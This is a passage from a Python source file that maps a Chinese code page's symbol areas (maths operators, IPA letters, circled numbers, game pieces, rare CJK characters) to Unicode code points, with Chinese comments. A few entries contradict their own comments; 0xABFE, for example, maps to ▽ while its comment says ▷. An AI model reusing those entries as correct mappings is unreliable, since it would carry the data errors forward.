0xAAEA: 0x2AC5, # 包含于 = ⫅ 0xAAEB: 0x2AC6, # 包含 = ⫆ 0xAAEC: 0x29CB, # 相当于 = ⧋ 0xAAED: 0x226B, # 远大于 = ≫ 0xAAEE: 0x226A, # 远小于 = ≪ 0xAAEF: 0x2A72, # 加或等于 = ⩲ 0xAAF0: 0x22BB, # ⊻ 0xAAF1: 0x2AE8, # 垂直等于 = ⫨ 0xAAF2: 0x2277, # 大于或小于 = ≷ 0xAAF3: 0x227D, # ≽ 0xAAF4: 0x227C, # ≼ 0xAAF5: 0x2109, # 华氏度 = ℉ 0xAAF6: 0x2203, # 存在量词 = ∃ 0xAAF7: 0x22F1, # 对角三连点 = ⋱ 0xAAF9: 0x2241, # ≁ 0xAAFA: 0x2244, # ≄ 0xAAFB: 0x2276, # ≶ 0xAAFC: 0x2209, # 不属于 = ∉ 0xAAFD: 0x2267, # ≧ 0xAAFE: 0x2266 # ≦ }) # Area AB _update({ 0xABA1: 0x224B, # ≋ 0xABA2: 0x2262, # 不恒等于 = ≢ 0xABA3: 0x2251, # 近似值号 = ≑ 0xABA4: 0x2284, # 不包含于 = ⊄ 0xABA5: 0x2285, # 不包含 = ⊅ 0xABA6: 0x2259, # 相当于、等角的、估算 = ≙ 0xABA7: 0x2205, # 空集 = ∅ 0xABA8: 0x2207, # 微分算符 = ∇ 0xABA9: 0x2A01, # 直和 = ⨁ 0xABAA: 0x2A02, # 重积 = ⨂ 0xABAB: 0x03F9, # 组合 = Ϲ 0xABAC: 0xABAC, # 对角六连点(⋰ + ⋰) 0xABAD: 0x263C, # ☼ 0xABAE: 0xABAE, # (⚬ + ↑) 0xABAF: 0x2247, # 不近似等于 = ≇ 0xABB0: 0x2249, # 不近似等于 = ≉ 0xABB1: 0x2278, # 不小于大于 = ≸ 0xABB2: 0x22F6, # 不属于 = ⋶ 0xABB3: 0x2AFA, # 大于等于 = ⫺ 0xABB4: 0x2AF9, # 小于等于 = ⫹ 0xABB5: 0x2245, # 近似等于、接近 = ≅ 0xABB6: 0x2267, # 大于等于 = ≧ 0xABB7: 0x2250, # 近似等于 = ≐ 0xABB8: 0x2266, # 小于等于 = ≦ 0xABB9: 0x2A26, # 加或差 = ⨦ 0xABBA: 0x2213, # 负或正、减或加 = ∓ 0xABBB: 0x233F, # ⌿ 0xABBC: 0x30FC, # 日文符号 = ー 0xABBD: 0xABBD, # 近似值号(· + ≈) 0xABBE: 0x2288, # 不包含于 = ⊈ 0xABBF: 0x2289, # 不包含 = ⊉ 0xABC0: 0x225A, # 角相等 = ≚ 0xABC1: 0x2205, # 空集 = ∅ 0xABC2: 0x2205, # (diagonal 卐) 0xABC3: 0x0024, # $ 0xABC4: 0x2709, # ✉ 0xABC5: 0x272E, # ✮ 0xABC6: 0x272F, # ✯ 0xABC7: 0x2744, # ❄ 0xABC8: 0x211E, # 处方符号 = ℞ 0xABC9: 0x1D110, # 𝄐 0xABCA: 0x2034, # 三次微分 = ‴ 0xABCB: 0xABCB, # 对角六连点(⋱ + ⋱) 0xABCC: 0x2ACB, # 真包含于 = ⫋ 0xABCD: 0x2ACC, # 真包含 = ⫌ 0xABCE: 0x2A63, # ⩣ 0xABCF: 0xABCF, # 约数0(0 + \) 0xABD0: 0xABD0, # 约数1(1 + \) 0xABD1: 0xABD1, # 约数2(2 + \) 0xABD2: 0xABD2, # 约数3(3 + \) 0xABD3: 0xABD3, # 约数4(4 + \) 0xABD4: 0xABD4, # 约数5(5 + \) 0xABD5: 0xABD5, # 约数6(6 + \) 0xABD6: 0xABD6, # 约数7(7 + \) 0xABD7: 0xABD7, # 约数8(8 + \) 0xABD8: 0xABD8, # 约数9(9 + \) 0xABD9: 0x216C, # 罗马数字50 = Ⅼ 0xABDA: 0x216D, # 罗马数字100 = Ⅽ 0xABDB: 0x216E, # 罗马数字500 = Ⅾ 0xABDC: 0x216F, # 罗马数字1000 = Ⅿ 0xABDD: 0x2295, # 圈加 = ⊕ 0xABDE: 0xABDE, # 圈加减(◯ + ±) 0xABDF: 0x2296, # 圈减 = ⊖ 0xABE0: 0xABE0, # 圈点减(◯ + ∸) 0xABE1: 0x2297, # 圈乘 = ⊗ 0xABE2: 0x2A38, # 圈除 = ⨸ 0xABE3: 0x229C, # 圈等于 = ⊜ 0xABE4: 0xABE4, # 交流电机(◯ + ∼) 0xABE5: 0xABE5, # 圈大于等于(◯ + ≥) 0xABE6: 0xABE6, # 圈小于等于(◯ + ≤) 0xABE7: 0x224A, # 近似等于 = ≊ 0xABE8: 0xABE8, # (> + >) 0xABE9: 0xABE9, # (< + <) 0xABEA: 0x22DB, # 大于等于小于 = ⋛ 0xABEB: 0x22DA, # 小于等于大于 = ⋚ 0xABEC: 0x2A8C, # 大于等于小于 = ⪌ 0xABED: 0x2A8B, # 小于等于大于 = ⪋ 0xABEE: 0x2273, # ≳ 0xABEF: 0x2272, # ≲ 0xABF0: 0x29A5, # ⦥ 0xABF1: 0x29A4, # ⦤ 0xABF2: 0x2660, # 黑桃 = ♠ 0xABF3: 0x2394, # 正六边形 = ⎔ 0xABF4: 0x2B20, # 正五边形 = ⬠ 0xABF5: 0x23E2, # 梯形 = ⏢ 0xABF6: 0x2663, # 梅花 = ♣ 0xABF7: 0x25B1, # 平行四边形 = ▱ 0xABF8: 0x25AD, # 矩形 = ▭ 0xABF9: 0x25AF, # 矩形 = ▯ 0xABFA: 0x2665, # 红桃 = ♥ 0xABFB: 0x2666, # 方块 = ♦ 0xABFC: 0x25C1, # 三角形(向左) = ◁ 0xABFD: 0x25BD, # 三角形(向下) = ▽ 0xABFE: 0x25BD # 三角形(向右) = ▷ }) # Area AC _update({ 0xACA1: 0x25C0, # 实三角形(向左) = ◀ 0xACA2: 0x25BC, # 实三角形(向下) = ▼ 0xACA3: 0x25B6, # 实三角形(向右) = ▶ 0xACA4: 0x25FA, # 直角三角形 = ◺ 0xACA5: 0x22BF, # 直角三角形 = ⊿ 0xACA6: 0x25B3, # △ 0xACA7: 0x27C1, # ⟁ 0xACA8: 0x2BCE, # ⯎ 0xACA9: 0x2B2F, # ⬯ 0xACAA: 0xACAA, # (⬯ + ∥) 0xACAB: 0x2B2E, # ⬮ 0xACAC: 0x2279, # 不大于小于 = ≹ 0xACAD: 0x1D10B, # 𝄋 0xACAE: 0x2218, # 圈乘 = ∘ 0xACAF: 0xACAF, # (vertical ≈) 0xACB2: 0xACB2, # (F-like symbol) 0xACB3: 0x22A6, # ⊦ 0xACB4: 0x22A7, # ⊧ 0xACB5: 0x22A8, # ⊨ 0xACB6: 0x29FA, # 强阳二值 = ⧺ 0xACB7: 0x29FB, # 强阳三值 = ⧻ 0xACB8: 0xACB8, # 强阳四值(++++) 0xACB9: 0x291A, # ⤚ 0xACBA: 0xACBA, # (⤙ + _) 0xACBB: 0xACBB, # (⤚ + _) 0xACBC: 0x2713, # 勾 = ✓ 0xACBD: 0x22CE, # ⋎ 0xACBE: 0xACBE, # (V + \) 0xACBF: 0xACBF, # (ˇ + | + ꞈ) 0xACC0: 0x224E, # 相当于、等值于 = ≎ 0xACC1: 0x224F, # 间差 = ≏ 0xACC2: 0x23D3, # ⏓ 0xACC3: 0xACC3, # (◡ + _) 0xACC4: 0xACC4, # (◡ + _ + /) 0xACC5: 0x2715, # ✕ 0xACC6: 0xACC6, # (✕ + •) 0xACC8: 0xACC8, # (∩ + ˜) 0xACC9: 0xACC9, # (∪ + ˜) 0xACCA: 0xACCA, # (V̰) 0xACCB: 0xACCB, # (V̱) 0xACCC: 0xACCC, # (V̱̰) 0xACCD: 0x2126, # Ω 0xACCE: 0x221D, # 成正比 = ∝ 0xACCF: 0x29A0, # 角 = ⦠ 0xACD0: 0x2222, # 角 = ∢ 0xACD1: 0x2AAC, # 小于等于 = ⪬ 0xACD2: 0x2239, # 差 = ∹ 0xACD3: 0x223A, # ∺ 0xACD4: 0x2135, # ℵ 0xACD5: 0xACD5, # (⊃ + ᐣ) 0xACD6: 0xACD6, # (⊃ + ᐣ + /) 0xACD7: 0x21CC, # ⇌ 0xACD8: 0x274B, # ❋ 0xACD9: 0x2B01, # ⬁ 0xACDA: 0x2B03, # ⬃ 0xACDB: 0x2B02, # ⬂ 0xACDC: 0x2B00, # ⬀ 0xACDD: 0xACDD, # (△ + ▾) 0xACDE: 0xACDE, # (▲ + ▿) 0xACDF: 0xACDE, # (( + —) 0xACE0: 0xACE0, # ([ + —) 0xACE1: 0xACE1, # ([ + —) 0xACE2: 0xACE2, # () + —) 0xACE3: 0xACE3, # (] + —) 0xACE4: 0xACE4, # (] + —) 0xACE5: 0xACE5, # (] + — + ₙ) 0xACE6: 0xACE6, # (] + — + ₘ) 0xACE7: 0xACE7, # (] + — + ₓ) 0xACE8: 0xACE8, # () + — + ₙ) 0xACE9: 0x2233, # 逆时针环积分 = ∳ 0xACEA: 0x2232, # 顺时针环积分 = ∲ 0xACEB: 0x222C, # 二重积分 = ∬ 0xACEC: 0x222F, # 二重环积分 = ∯ 0xACED: 0x222D, # 三重积分 = ∭ 0xACEE: 0x2230, # 三重环积分 = ∰ 0xACEF: 0x0421, # 组合符号 = С 0xACF0: 0x2019, # 所有格符 = ’ 0xACF1: 0x0027, # 重音节符号 = ' 0xACF2: 0x03A3, # 和(正文态) = Σ 0xACF3: 0x03A0, # 积(正文态) = Π 0xACF4: 0x02C7, # 注音符号 = ˇ 0xACF5: 0x02CB, # 注音符号 = ˋ 0xACF6: 0x02CA, # 注音符号 = ˊ 0xACF7: 0x02D9, # 注音符号 = ˙ 0xACF8: 0x29F72, # 𩽲 0xACF9: 0x362D, # 㘭 0xACFA: 0x3A52, # 㩒 0xACFB: 0x3E74, # 㹴 0xACFC: 0x27741, # 𧝁 0xACFD: 0x30FC, # 日文长音记号 = ー 0xACFE: 0x2022 # 注音符号 = • }) # Area AD _update({ 0xADA1: 0x3280, # 中文阳圈码一 = ㊀ 0xADA2: 0x3281, # 中文阳圈码二 = ㊁ 0xADA3: 0x3282, # 中文阳圈码三 = ㊂ 0xADA4: 0x3283, # 中文阳圈码四 = ㊃ 0xADA5: 0x3284, # 中文阳圈码五 = ㊄ 0xADA6: 0x3285, # 中文阳圈码六 = ㊅ 0xADA7: 0x3286, # 中文阳圈码七 = ㊆ 0xADA8: 0x3287, # 中文阳圈码八 = ㊇ 0xADA9: 0x3288, # 中文阳圈码九 = ㊈ 0xADAA: 0xADAA, # 中文阳圈码一零(◯ + 一〇) 0xADAB: 0xADAB, # 中文阳圈码一一(◯ + 一一) 0xADAC: 0xADAC, # 中文阳圈码一二(◯ + 一二) 0xADAD: 0xADAD, # 中文阳圈码一三(◯ + 一三) 0xADAE: 0xADAE, # 中文阳圈码一四(◯ + 一四) 0xADAF: 0xADAF, # 中文阳圈码一五(◯ + 一五) 0xADB0: 0xADB0, # 中文阳圈码一六(◯ + 一六) 0xADB1: 0xADB1, # 中文阳圈码一七(◯ + 一七) 0xADB2: 0xADB2, # 中文阳圈码一八(◯ + 一八) 0xADB3: 0xADB3, # 中文阳圈码一九(◯ + 一九) 0xADB4: 0xADB4, # 中文阳圈码二零(◯ + 二〇) 0xADB5: 0x24EA, # 数字阳圈码0 = ⓪ 0xADB6: 0x2018, # 外文左单引号 = ‘ 0xADB7: 0x201C, # 外文左双引号 = “ 0xADB8: 0x2019, # 外文右单引号 = ’ 0xADB9: 0x201D, # 外文右双引号 = ” 0xADBA: 0x025B, # 国际音标 = ɛ 0xADBB: 0x0251, # 国际音标 = ɑ 0xADBC: 0x0259, # 国际音标 = ə 0xADBD: 0x025A, # 国际音标 = ɚ 0xADBE: 0x028C, # 国际音标 = ʌ 0xADBF: 0x0254, # 国际音标 = ɔ 0xADC0: 0x0283, # 国际音标 = ʃ 0xADC1: 0x02D1, # 国际音标 = ˑ 0xADC2: 0x02D0, # 国际音标 = ː 0xADC3: 0x0292, # 国际音标 = ʒ 0xADC4: 0x0261, # 国际音标 = ɡ 0xADC5: 0x03B8, # 国际音标 = θ 0xADC6: 0x00F0, # 国际音标 = ð 0xADC7: 0x014B, # 国际音标 = ŋ 0xADC8: 0x0264, # 国际音标 = ɤ 0xADC9: 0x0258, # 国际音标 = ɘ 0xADCA: 0x026A, # 国际音标 = ɪ 0xADCB: 0x0268, # 国际音标 = ɨ 0xADCC: 0x027F, # 国际音标 = ɿ 0xADCD: 0x0285, # 国际音标 = ʅ 0xADCE: 0x028A, # 国际音标 = ʊ 0xADCF: 0x00F8, # 国际音标 = ø 0xADD0: 0x0275, # 国际音标 = ɵ 0xADD1: 0x026F, # 国际音标 = ɯ 0xADD2: 0x028F, # 国际音标 = ʏ 0xADD3: 0x0265, # 国际音标 = ɥ 0xADD4: 0x0289, # 国际音标 = ʉ 0xADD5: 0x0278, # 国际音标 = ɸ 0xADD6: 0x0288, # 国际音标 = ʈ 0xADD7: 0x0290, # 国际音标 = ʐ 0xADD8: 0x0256, # 国际音标 = ɖ 0xADD9: 0x0282, # 国际音标 = ʂ 0xADDA: 0x0272, # 国际音标 = ɲ 0xADDB: 0x0271, # 国际音标 = ɱ 0xADDC: 0x03B3, # 国际音标 = γ 0xADDD: 0x0221, # 国际音标 = ȡ 0xADDE: 0x0255, # 国际音标 = ɕ 0xADDF: 0x0235, # 国际音标 = ȵ 0xADE0: 0x0291, # 国际音标 = ʑ 0xADE1: 0x0236, # 国际音标 = ȶ 0xADE2: 0x026C, # 国际音标 = ɬ 0xADE3: 0x028E, # 国际音标 = ʎ 0xADE4: 0x1D84, # 国际音标 = ᶄ 0xADE5: 0xAB53, # 国际音标 = ꭓ 0xADE6: 0x0127, # 国际音标 = ħ 0xADE7: 0x0263, # 国际音标 = ɣ 0xADE8: 0x0281, # 国际音标 = ʁ 0xADE9: 0x0294, # 国际音标 = ʔ 0xADEA: 0x0295, # 国际音标 = ʕ 0xADEB: 0x0262, # 国际音标 = ɢ 0xADEC: 0x0266, # 国际音标 = ɦ 0xADED: 0x4C7D, # 䱽 0xADEE: 0x24B6D, # 𤭭 0xADEF: 0x00B8, # 新蒙文 = ¸ 0xADF0: 0x02DB, # 新蒙文 = ˛ 0xADF1: 0x04D8, # 新蒙文 = Ә 0xADF2: 0x04BA, # 新蒙文 = Һ 0xADF3: 0x0496, # 新蒙文 = Җ 0xADF4: 0x04A2, # 新蒙文 = Ң 0xADF5: 0x2107B, # 𡁻 0xADF6: 0x2B62C, # 𫘬 0xADF7: 0x04D9, # 新蒙文 = ә 0xADF8: 0x04BB, # 新蒙文 = һ 0xADF9: 0x0497, # 新蒙文 = җ 0xADFA: 0x04A3, # 新蒙文 = ң 0xADFB: 0x40CE, # 䃎 0xADFC: 0x04AF, # 新蒙文 = ү 0xADFD: 0x02CC, # 次重音符号 = ˌ 0xADFE: 0xff40 # 次重音符号 = ` }) # Area F8 _update({ 0xF8A1: 0x5C2A, # 尪 0xF8A2: 0x97E8, # 韨 0xF8A3: 0x5F67, # 彧 0xF8A4: 0x672E, # 朮 0xF8A5: 0x4EB6, # 亶 0xF8A6: 0x53C6, # 叆 0xF8A7: 0x53C7, # 叇 0xF8A8: 0x8BBB, # 讻 0xF8A9: 0x27BAA, # 𧮪 0xF8AA: 0x8BEA, # 诪 0xF8AB: 0x8C09, # 谉 0xF8AC: 0x8C1E, # 谞 0xF8AD: 0x5396, # 厖 0xF8AE: 0x9EE1, # 黡 0xF8AF: 0x533D, # 匽 0xF8B0: 0x5232, # 刲 0xF8B1: 0x6706, # 朆 0xF8B2: 0x50F0, # 僰 0xF8B3: 0x4F3B, # 伻 0xF8B4: 0x20242, # 𠉂 0xF8B5: 0x5092, # 傒 0xF8B6: 0x5072, # 偲 0xF8B7: 0x8129, # 脩 0xF8B8: 0x50DC, # 僜 0xF8B9: 0x90A0, # 邠 0xF8BA: 0x9120, # 鄠 0xF8BB: 0x911C, # 鄜 0xF8BC: 0x52BB, # 劻 0xF8BD: 0x52F7, # 勷 0xF8BE: 0x6C67, # 汧 0xF8BF: 0x6C9A, # 沚 0xF8C0: 0x6C6D, # 汭 0xF8C1: 0x6D34, # 洴 0xF8C2: 0x6D50, # 浐 0xF8C3: 0x6D49, # 浉 0xF8C4: 0x6DA2, # 涢 0xF8C5: 0x6D65, # 浥 0xF8C6: 0x6DF4, # 淴 0xF8C7: 0x6EEA, # 滪 0xF8C8: 0x6E87, # 溇 0xF8C9: 0x6EC9, # 滉 0xF8CA: 0x6FBC, # 澼 0xF8CB: 0x6017, # 怗 0xF8CC: 0x22650, # 𢙐 0xF8CD: 0x6097, # 悗 0xF8CE: 0x60B0, # 悰 0xF8CF: 0x60D3, # 惓 0xF8D0: 0x6153, # 慓 0xF8D1: 0x5BAC, # 宬 0xF8D2: 0x5EBC, # 庼 0xF8D3: 0x95EC, # 闬 0xF8D4: 0x95FF, # 闿 0xF8D5: 0x9607, # 阇 0xF8D6: 0x9613, # 阓 0xF8D7: 0x961B, # 阛 0xF8D8: 0x631C, # 挜 0xF8D9: 0x630C, # 挌 0xF8DA: 0x63AF, # 掯 0xF8DB: 0x6412, # 搒 0xF8DC: 0x63F3, # 揳 0xF8DD: 0x6422, # 搢 0xF8DE: 0x5787, # 垇 0xF8DF: 0x57B5, # 垵 0xF8E0: 0x57BD, # 垽 0xF8E1: 0x57FC, # 埼 0xF8E2: 0x56AD, # 嚭 0xF8E3: 0x26B4C, # 𦭌 0xF8E4: 0x8313, # 茓 0xF8E5: 0x8359, # 荙 0xF8E6: 0x82F3, # 苳 0xF8E7: 0x8399, # 莙 0xF8E8: 0x44D6, # 䓖 0xF8E9: 0x841A, # 萚 0xF8EA: 0x83D1, # 菑 0xF8EB: 0x84C2, # 蓂 0xF8EC: 0x8439, # 萹 0xF8ED: 0x844E, # 葎 0xF8EE: 0x8447, # 葇 0xF8EF: 0x84DA, # 蓚 0xF8F0: 0x26D9F, # 𦶟 0xF8F1: 0x849F, # 蒟 0xF8F2: 0x84BB, # 蒻 0xF8F3: 0x850A, # 蔊 0xF8F4: 0x26ED8, # 𦻘 0xF8F5: 0x85A2, # 薢 0xF8F6: 0x85B8, # 薸 0xF8F7: 0x85E8, # 藨 0xF8F8: 0x8618, # 蘘 0xF8F9: 0x596D, # 奭 0xF8FA: 0x546F, # 呯 0xF8FB: 0x54A5, # 咥 0xF8FC: 0x551D, # 唝 0xF8FD: 0x5536, # 唶 0xF8FE: 0x556F # 啯 }) # Area F9 _update({ 0xF9A1: 0x5621, # 嘡 0xF9A2: 0x20E01, # 𠸁 0xF9A3: 0x20F90, # 𠾐 0xF9A4: 0x360E, # 㘎 0xF9A5: 0x56F7, # 囷 0xF9A6: 0x5E21, # 帡 0xF9A7: 0x5E28, # 帨 0xF9A8: 0x5CA8, # 岨 0xF9A9: 0x5CE3, # 峣 0xF9AA: 0x5D5A, # 嵚 0xF9AB: 0x5D4E, # 嵎 0xF9AC: 0x5D56, # 嵖 0xF9AD: 0x5DC2, # 巂 0xF9AE: 0x8852, # 衒 0xF9AF: 0x5FAF, # 徯 0xF9B0: 0x5910, # 夐 0xF9B1: 0x7330, # 猰 0xF9B2: 0x247EF, # 𤟯 0xF9B3: 0x734F, # 獏 0xF9B4: 0x9964, # 饤 0xF9B5: 0x9973, # 饳 0xF9B6: 0x997E, # 饾 0xF9B7: 0x9982, # 馂 0xF9B8: 0x9989, # 馉 0xF9B9: 0x5C43, # 屃 0xF9BA: 0x5F36, # 弶 0xF9BB: 0x5B56, # 孖 0xF9BC: 0x59EE, # 姮 0xF9BD: 0x5AEA, # 嫪 0xF9BE: 0x7ED6, # 绖 0xF9BF: 0x7F0A, # 缊 0xF9C0: 0x7E34, # 縴 0xF9C1: 0x7F1E, # 缞 0xF9C2: 0x26221, # 𦈡 0xF9C3: 0x9A8E, # 骎 0xF9C4: 0x29A02, # 𩨂 0xF9C5: 0x9A95, # 骕 0xF9C6: 0x9AA6, # 骦 0xF9C7: 0x659D, # 斝 0xF9C8: 0x241A2, # 𤆢 0xF9C9: 0x712E, # 焮 0xF9CA: 0x7943, # 祃 0xF9CB: 0x794E, # 祎 0xF9CC: 0x7972, # 祲 0xF9CD: 0x7395, # 玕 0xF9CE: 0x73A0, # 玠 0xF9CF: 0x7399, # 玙 0xF9D0: 0x73B1, # 玱 0xF9D1: 0x73F0, # 珰 0xF9D2: 0x740E, # 琎 0xF9D3: 0x742F, # 琯 0xF9D4: 0x7432, # 琲 0xF9D5: 0x67EE, # 柮 0xF9D6: 0x6812, # 栒 0xF9D7: 0x3B74, # 㭴 0xF9D8: 0x6872, # 桲 0xF9D9: 0x68BC, # 梼 0xF9DA: 0x68B9, # 梹 0xF9DB: 0x68C1, # 棁 0xF9DC: 0x696F, # 楯 0xF9DD: 0x69A0, # 榠 0xF9DE: 0x69BE, # 榾 0xF9DF: 0x69E5, # 槥 0xF9E0: 0x6A9E, # 檞 0xF9E1: 0x69DC, # 槜 0xF9E2: 0x6B95, # 殕 0xF9E3: 0x80FE, # 胾 0xF9E4: 0x89F1, # 觱 0xF9E5: 0x74FB, # 瓻 0xF9E6: 0x7503, # 甃 0xF9E7: 0x80D4, # 胔 0xF9E8: 0x22F7E, # 𢽾 0xF9E9: 0x668D, # 暍 0xF9EA: 0x9F12, # 鼒 0xF9EB: 0x6F26, # 漦 0xF9EC: 0x8D51, # 赑 0xF9ED: 0x8D52, # 赒 0xF9EE: 0x8D57, # 赗 0xF9EF: 0x7277, # 牷 0xF9F0: 0x7297, # 犗 0xF9F1: 0x23C5D, # 𣱝 0xF9F2: 0x8090, # 肐 0xF9F3: 0x43F2, # 䏲 0xF9F4: 0x6718, # 朘 0xF9F5: 0x8158, # 腘 0xF9F6: 0x81D1, # 臑 0xF9F7: 0x7241, # 牁 0xF9F8: 0x7242, # 牂 0xF9F9: 0x7A85, # 窅 0xF9FA: 0x7A8E, # 窎 0xF9FB: 0x7ABE, # 窾 0xF9FC: 0x75A2, # 疢 0xF9FD: 0x75AD, # 疭 0xF9FE: 0x75CE # 痎 }) # Area FA _update({ 0xFAA1: 0x3FA6, # 㾦 0xFAA2: 0x7604, # 瘄 0xFAA3: 0x7606, # 瘆 0xFAA4: 0x7608, # 瘈 0xFAA5: 0x24ECA, # 𤻊 0xFAA6: 0x88C8, # 裈 0xFAA7: 0x7806, # 砆 0xFAA8: 0x7822, # 砢 0xFAA9: 0x7841, # 硁 0xFAAA: 0x7859, # 硙 0xFAAB: 0x785A, # 硚 0xFAAC: 0x7875, # 硵 0xFAAD: 0x7894, # 碔 0xFAAE: 0x40DA, # 䃚 0xFAAF: 0x790C, # 礌 0xFAB0: 0x771C, # 眜 0xFAB1: 0x251A7, # 𥆧 0xFAB2: 0x7786, # 瞆 0xFAB3: 0x778B, # 瞋 0xFAB4: 0x7564, # 畤 0xFAB5: 0x756C, # 畬 0xFAB6: 0x756F, # 畯 0xFAB7: 0x76C9, # 盉 0xFAB8: 0x76DD, # 盝 0xFAB9: 0x28C3E, # 𨰾 0xFABA: 0x497A, # 䥺 0xFABB: 0x94D3, # 铓 0xFABC: 0x94E6, # 铦 0xFABD: 0x9575, # 镵 0xFABE: 0x9520, # 锠 0xFABF: 0x9527, # 锧 0xFAC0: 0x28C4F, # 𨱏 0xFAC1: 0x9543, # 镃 0xFAC2: 0x953D, # 锽 0xFAC3: 0x28C4E, # 𨱎 0xFAC4: 0x28C54, # 𨱔 0xFAC5: 0x28C53, # 𨱓 0xFAC6: 0x9574, # 镴 0xFAC7: 0x79FE, # 秾 0xFAC8: 0x7A16, # 稖 0xFAC9: 0x415F, # 䅟 0xFACA: 0x7A5E, # 穞 0xFACB: 0x9E30, # 鸰 0xFACC: 0x9E34, # 鸴 0xFACD: 0x9E27, # 鸧 0xFACE: 0x9E2E, # 鸮 0xFACF: 0x9E52, # 鹒 0xFAD0: 0x9E53, # 鹓 0xFAD1: 0x9E59, # 鹙 0xFAD2: 0x9E56, # 鹖 0xFAD3: 0x9E61, # 鹡 0xFAD4: 0x9E6F, # 鹯 0xFAD5: 0x77DE, # 矞 0xFAD6: 0x76B6, # 皶 0xFAD7: 0x7F91, # 羑 0xFAD8: 0x7F93, # 羓 0xFAD9: 0x26393, # 𦎓 0xFADA: 0x7CA6, # 粦 0xFADB: 0x43AC, # 䎬 0xFADC: 0x8030, # 耰 0xFADD: 0x8064, # 聤 0xFADE: 0x8985, # 覅 0xFADF: 0x9892, # 颒 0xFAE0: 0x98A3, # 颣 0xFAE1: 0x8683, # 蚃 0xFAE2: 0x86B2, # 蚲 0xFAE3: 0x45AC, # 䖬 0xFAE4: 0x8705, # 蜅 0xFAE5: 0x8730, # 蜰 0xFAE6: 0x45EA, # 䗪 0xFAE7: 0x8758, # 蝘 0xFAE8: 0x7F4D, # 罍 0xFAE9: 0x7B4A, # 筊 0xFAEA: 0x41F2, # 䇲 0xFAEB: 0x7BF0, # 篰 0xFAEC: 0x7C09, # 簉 0xFAED: 0x7BEF, # 篯 0xFAEE: 0x7BF2, # 篲 0xFAEF: 0x7C20, # 簠 0xFAF0: 0x26A2D, # 𦨭 0xFAF1: 0x8C68, # 豨 0xFAF2: 0x8C6D, # 豭 0xFAF3: 0x8DF6, # 跶 0xFAF4: 0x8E04, # 踄 0xFAF5: 0x8E26, # 踦 0xFAF6: 0x8E16, # 踖 0xFAF7: 0x8E27, # 踧 0xFAF8: 0x8E53, # 蹓 0xFAF9: 0x8E50, # 蹐 0xFAFA: 0x8C90, # 貐 0xFAFB: 0x9702, # 霂 0xFAFC: 0x9F81, # 龁 0xFAFD: 0x9F82, # 龂 0xFAFE: 0x9C7D # 鱽 }) # Area FB _update({ 0xFBA1: 0x9C8A, # 鲊 0xFBA2: 0x9C80, # 鲀 0xFBA3: 0x9C8F, # 鲏 0xFBA4: 0x4C9F, # 䲟 0xFBA5: 0x9C99, # 鲙 0xFBA6: 0x9C97, # 鲗 0xFBA7: 0x29F7C, # 𩽼 0xFBA8: 0x9C96, # 鲖 0xFBA9: 0x29F7E, # 𩽾 0xFBAA: 0x29F83, # 𩾃 0xFBAB: 0x29F87, # 𩾇 0xFBAC: 0x9CC1, # 鳁 0xFBAD: 0x9CD1, # 鳑 0xFBAE: 0x9CDB, # 鳛 0xFBAF: 0x9CD2, # 鳒 0xFBB0: 0x29F8C, # 𩾌 0xFBB1: 0x9CE3, # 鳣 0xFBB2: 0x977A, # 靺 0xFBB3: 0x97AE, # 鞮 0xFBB4: 0x97A8, # 鞨 0xFBB5: 0x9B4C, # 魌 0xFBB6: 0x9B10, # 鬐 0xFBB7: 0x9B18, # 鬘 0xFBB8: 0x9E80, # 麀 0xFBB9: 0x9E95, # 麕 0xFBBA: 0x9E91, # 麑 }) "B库符号(部分非组合用字符)" symbolsB = UnicodeMap() symbolsB.update({ 0x8940: 0x1E37, # 国际音标 = ḷ 0x8941: 0x1E43, # 国际音标 = ṃ 0x8942: 0x1E47, # 国际音标 = ṇ 0x8943: 0x015E, # 国际音标 = Ş 0x8944: 0x015F, # 国际音标 = ş 0x8945: 0x0162, # 国际音标 = Ţ 0x8946: 0x0163, # 国际音标 = ţ 0x94C0: 0x2654, # 国际象棋白格白子-王 = ♔ 0x94C1: 0x2655, # 国际象棋白格白子-后 = ♕ 0x94C2: 0x2656, # 国际象棋白格白子-车 = ♖ 0x94C3: 0x2658, # 国际象棋白格白子-马 = ♘ 0x94C4: 0x2657, # 国际象棋白格白子-相 = ♗ 0x94C5: 0x2659, # 国际象棋白格白子-卒 = ♙ 0x94C6: 0x265A, # 国际象棋白格黑子-王 = ♚ 0x94C7: 0x265B, # 国际象棋白格黑子-后 = ♛ 0x94C8: 0x265C, # 国际象棋白格黑子-车 = ♜ 0x94C9: 0x265E, # 国际象棋白格黑子-马 = ♞ 0x94CA: 0x265D, # 国际象棋白格黑子-相 = ♝ 0x94CB: 0x265F, # 国际象棋白格黑子-卒 = ♟ 0x94EC: 0x2660, # 桥牌-黑桃 = ♠ 0x94ED: 0x2665, # 桥牌-红桃 = ♥ 0x94EE: 0x2666, # 桥牌-方框 = ♦ 0x94EF: 0x2663, # 桥牌-梅花 = ♣ 0x95F1: 0x1FA67, # 中国象棋黑子-将 = 🩧 0x95F2: 0x1FA64, # 中国象棋红子-车 = 🩤 0x95F3: 0x1FA63, # 中国象棋红子-马 = 🩣 0x95F4: 0x1FA65, # 中国象棋红子-炮 = 🩥 0x95F5: 0x1FA66, # 中国象棋红子-兵 = 🩦 0x95F6: 0x1FA62, # 中国象棋红子-相 = 🩢 0x95F7: 0x1FA61, # 中国象棋红子-士 = 🩡 0x95F8: 0x1FA60, # 中国象棋红子-帅 = 🩠 0x95F9: 0x1FA6B, # 中国象棋黑子-车 = 🩫 0x95FA: 0x1FA6A, # 中国象棋黑子-马 = 🩪 0x95FB: 0x1FA6C, # 中国象棋黑子-炮 = 🩬 0x95FC: 0x1FA6D, # 中国象棋黑子-卒 = 🩭 0x95FD: 0x1FA68, # 中国象棋黑子-士 = 🩨 0x95FE: 0x1FA69, # 中国象棋黑子-象 = 🩩 0x968F: 0x1D11E, # 其他符号 = 𝄞 0x97A0: 0x4DC0, # 八卦符号 = ䷀ 0x97A1: 0x4DC1, # 八卦符号 = ䷁ 0x97A2: 0x4DC2, # 八卦符号 = ䷂ 0x97A3: 0x4DC3, # 八卦符号 = ䷃ 0x97A4: 0x4DC4, # 八卦符号 = ䷄ 0x97A5: 0x4DC5, # 八卦符号 = ䷅ 0x97A6: 0x4DC6, # 八卦符号 = ䷆ 0x97A7: 0x4DC7, # 八卦符号 = ䷇ 0x97A8: 0x4DC8, # 八卦符号 = ䷈ 0x97A9: 0x4DC9, # 八卦符号 = ䷉ 0x97AA: 0x4DCA, # 八卦符号 = ䷊ 0x97AB: 0x4DCB, # 八卦符号 = ䷋ 0x97AC: 0x4DCC, # 八卦符号 = ䷌ 0x97AD: 